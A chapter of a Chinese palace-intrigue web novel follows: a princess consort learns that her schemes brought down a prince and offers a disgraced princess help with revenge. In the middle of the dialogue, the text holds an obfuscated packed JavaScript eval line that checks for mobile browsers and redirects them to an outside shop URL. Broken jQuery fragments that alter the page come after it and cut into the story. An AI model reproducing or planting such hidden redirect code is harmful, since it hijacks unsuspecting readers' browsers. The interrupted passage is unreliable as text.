105. 各自图谋(三)

作品:《王爷不好了!王妃是恶毒女配

    “可是王妃,您要如何管?要不王妃您同王爷说说,让他到陆家替您撑腰?”梅儿斗着胆说,她实在是不想自家的王妃和王爷离了心,这次说不定是缓和两个人关系的好机会。


    只是这逾矩的话说着实在让人心颤,这不,梅儿话都已经说出口了,小腿却吓得抖成了筛子。


    陆如年扬眉,瞥了一眼身旁的‘小叛徒’佯装生气的敛起了嘴角的笑意,眉眼微垂的搅了搅火盆,“这点小事,不必劳烦王爷,你家王妃我可以自行处理。”


    “啊?”梅儿见王妃不为所动,双肩微怂,瞬时像泄了气的皮球,蔫头耷脑。


    陆如年全当没看见,继续说道:“这第一个消息,我已知晓,这第二个消息,不如让我猜猜?”


    梅儿和燕儿闻言,同时抬眸,惊讶的望向陆如年。


    “算着日子,想必是赵清欢那边有了消息吧?”


    燕儿、梅儿两人对视一眼,眸中惊讶未褪,多了几分灼灼的崇敬。


    “王妃,你真厉害,这都猜得到?”燕儿欣喜说道。


    陆如年搅动炭火的手一顿,对着两人的笑意更浓,“因为不难猜。”


    “你们两个啊,已经将结果写在脸上了!”


    燕儿和梅儿闻言,齐齐双手捂脸,眼中露出被看穿的惊恐。


    要知道,像她们这些贴身在王妃身边伺候的丫鬟,最忌将主子的事情喜形于色......这要是放在别的主子身上,怕是要狠狠地教训两人了。


    “王妃,下次我们不敢了!”两人低声道。


    陆如年抬眸,在两人羞愧的面色上来回扫了两眼,笑着没再说话。


    燕儿明白这是王妃不打算‘罚’她们了。于是拉着梅儿带头,同陆如年讲述赵清欢这两日惊心动魄的事迹。


    燕儿:“王妃,郡主她怕是被郡马欺的狠了,竟真的采纳了王妃你给她的法子,让郡马在外面抢来的外室,动了手。”


    梅儿:“是啊,这郡马一死,郡主府又暗中放出郡马欺抢良妇的消息,这几日,京都的大街小巷都在讨论这郡马的无德行径,奴婢也按照王妃您的吩咐,给郡马的死添了把火。”


    燕儿:“梅儿姐姐这次做得利落,这把火不仅直接烧到了二皇子的身上,竟还烧到了皇上的御书房?!”


    梅儿:“燕儿妹妹过奖了,这都是王妃告诉我的法子。现下听坊间传,二皇子因为此事,已经被皇上禁了足,还下令日后他不允许再参加朝政,所以有不少人都觉得二皇子这次怕是彻底失去了夺嫡的资格。”


    ......


    两人你一言,我一语的,将事情说了个七七八八。


    陆如年扶额倾听,有一瞬间,仿佛看到了为她讲述陆家宴请的戏精墨白,还真是近朱者赤,近墨者黑,这两个丫头也学坏了。


    随着两个丫鬟说到最后,满嘴都是王妃英明,陆如年便关闭了耳朵,在心里将她下一步的计划细细推演了一番。


    自她将消息放给赵清欢的那日,她就预料赵清欢会做到这一步,不仅如此,她更知道赵清欢此刻心里只有仇恨,只想复仇......


    什么得罪二皇子,什么需要找太子庇佑,在这样的女子面前,皆为空谈。


    火盆里的炭火,被陆如年搅动的噼啪作响,陆如年的额头渐渐渗出细密的汗珠。


    “梅儿,去郡主府递个消息,就说我想请郡主吃饭,时间地点,听郡主便。”


    “王妃......你亲自去见承欢郡主?会不会有危险?”梅儿的眉头拧成小山。


    前几日的落月巷的事才刚刚过去,现在二皇子又因赵承欢的事受了责罚,会不会将气都撒在王妃身上,再对王妃下手......


    立在一旁的燕儿回想当时的场景,也十分后怕,满眼担忧的望着陆如年。


    “放心吧,他现在忙不迭的想要给自己洗白正名,还抽不出手来,对我下手。”


    “就算他真的失心疯,要再次置我于死地,也没那么容易。”她这次可是又研究出了一个好东西。


    “去吧,快去快回,尽快将事订下,祖母那边也好有个底。”


    燕儿和梅儿这才惊觉,原来见赵清欢这事,也与陆家有关。


    说完,陆如年站起身,走到屋门前,轻轻将门帘扶起。


    一阵阵冷风灌入,将她额头上的细汗瞬间吹散,陆如年抬头望天,天空中的白云一片连着一片,看似层层叠叠,毫无缝隙,但却依旧挡不住金色的阳光透过云隙洒满大地。


    很快便会有答案,很快很快......


    两日后,巳时末。


    陆如年和赵清欢约在熙悦楼的二楼包厢见面。


    此时两人就隔着一张圆桌,面对面坐着,赵清欢今日的穿着打扮极为低调,一身玄色长袍,脚蹬细棉黑靴,头上没有任何钗环,就这身打扮若不是陆如年看清了她的脸,还以为认错了人,她现在的样子,和那个一开始嚣张跋扈,口口声声想要嫁入珝王府的霸道郡主,简直判若两人。


    不过下一秒,赵清欢一开口,熟悉的味道又回来了。


    “今日是珝王妃你开口邀请的我,所以今日的茶钱饭钱,要你来付!”


    陆如年不置可否,豪气的将熙悦楼的招牌都点了一个遍,待菜上齐后,她朝燕儿和梅儿两人点点头,两人便识趣的退出了包厢。


    赵清欢见状,也很上道,让随行的丫鬟一共跟了出去。


    包厢内,很快只剩陆如年和赵清欢两人。


    陆如年笑着给赵清欢倒了杯茶,还特意将熙悦楼的招牌点心青团往赵清欢的面前送了送。


    “终于脱离苦海,未来你有什么打算?”陆如年这话说的,像极了与赵清欢熟识已久的老朋友。


    赵清欢斜睨她一眼,筷子越过青团,精准夹走另一边的桃酥,咬下一大口,刚刚的尊称这会儿也不用了,直接叫名称呼,“陆如年,你别以为你帮我出了一个主意,我们就算朋友。”


    “我想,我们两人没那么熟。”


    陆如年闻言,不急不恼,夹起一块青团放入口中,“这我当然知道。”


    “那你刚刚什么意思,是借着这次的事情向我邀功的?”


    “那我也告诉你,我......我......这次得罪了二皇兄,名声也在民间成了笑话,你想从我这儿捞什么好处,是捞不到了,真想要什么,你最好还是回你的王府,找珝王哥......珝王帮你比较好。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400583|189394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵清欢说完,也不看陆如年的神色,自顾自的看中什么吃什么,很像是想要将陆如年吃穷的样子。


    陆如年一边看着她吃,一边笑容不减,反而将她喜欢的菜色,都帮着她夹到了碗里。


    惹得赵清欢一次次的皱眉看她,像极了鸡圈里的母鸡,在看黄鼠狼。


    赵清欢这下也真是吃不下了,她直接将筷子往碗边一拍,不耐烦道:“陆如年,你还是有话直说,少绕弯子,不然,我理解不到位,你可怪不了我。”


    赵清欢本就是个直来直去的性子,她能在陆如年面前忍到这个程度,也算是极为给陆如年面子,陆如年心里有数。


    况且,赵清欢对她的态度已经这么明显,她也不必再继续试探。


    “你想报仇吗?”陆如年笑问。


    紧皱眉头的赵清欢,眉眼一僵,一脸不可置信的望向陆如年,“你......你说什么?”


    “我说,你想报仇吗?”陆如年重复道。


    赵清欢说:“什么报仇,郡马已死,伤害我的人都没了,我报什么仇......”


    陆如年端起面前的玉米羹,喝了一小口,没再开口。


    于是,赵清欢就这么直直的看着陆如年,一会儿喝汤,一会儿夹菜,一会儿给自己倒杯茶,一会儿又无声的看向窗外,听楼下的热闹。


    仿佛,陆如年刚才什么都说了,又好像什么都没说。


    此时的赵清欢被这尴尬的无声扰的心绪翻涌,也学着陆如年的样子,竖耳听向窗外。


    “听说了吗?郡主的郡马在外面偷人。”


    “这郡主怎么能忍得下?”


    “哎,是啊,如今这一事也算是让我看明白了,别管金枝玉叶也好,还是贵为郡主也罢,这婚事啊,全都是命。”


    “是啊,要不你看户部尚书家的陆二小姐,就算是嫁个穷书生又如何?”


    “现在不也是过得风生水起,人人艳羡。”


    赵清欢的脸色随着耳边传来的一句句闲话,变得惨白如纸......搭在桌上的双手,这一刻也在不知不觉间攥成了拳头。


    随即她下巴微抬,嘴角下压,努力找回自己的骄傲道:“陆如年,我想报仇。”


    “你到底有什么好法子?”


    陆如年将目光从窗外收回,朝着赵清欢抿嘴一笑,答道:“有,当然有。”


    “你可知道想要报复一个人,最好的办法是什么?”


    赵清欢略带惊恐的望着陆如年嘴角的笑意,抿唇不语。


    陆如年不在乎她的眼神,继续笑道:“把她最在乎的东西抢走,便足可以打垮一个人。”


    “她最在乎的东西?是什么?”


    陆如年站起身,行至窗前,将支窗用撑杆支得更高一些。


    以至于赵清欢一瞥头,便看见对面商铺里一对卖豆腐的小夫妻。那妇人正笑着替丈夫擦汗,丈夫顺势捏了捏她的手,两人目光一碰,皆是寻常日子里才有的那种踏实。


    赵清欢的呼吸停了一瞬,再转过头,陆如年的笑变得意味深长,赵清欢忽然感觉一阵寒风灌入领口,全身寒气逼人。


    原来,她之前想要算计的是这样的人?


    还好她小命够硬!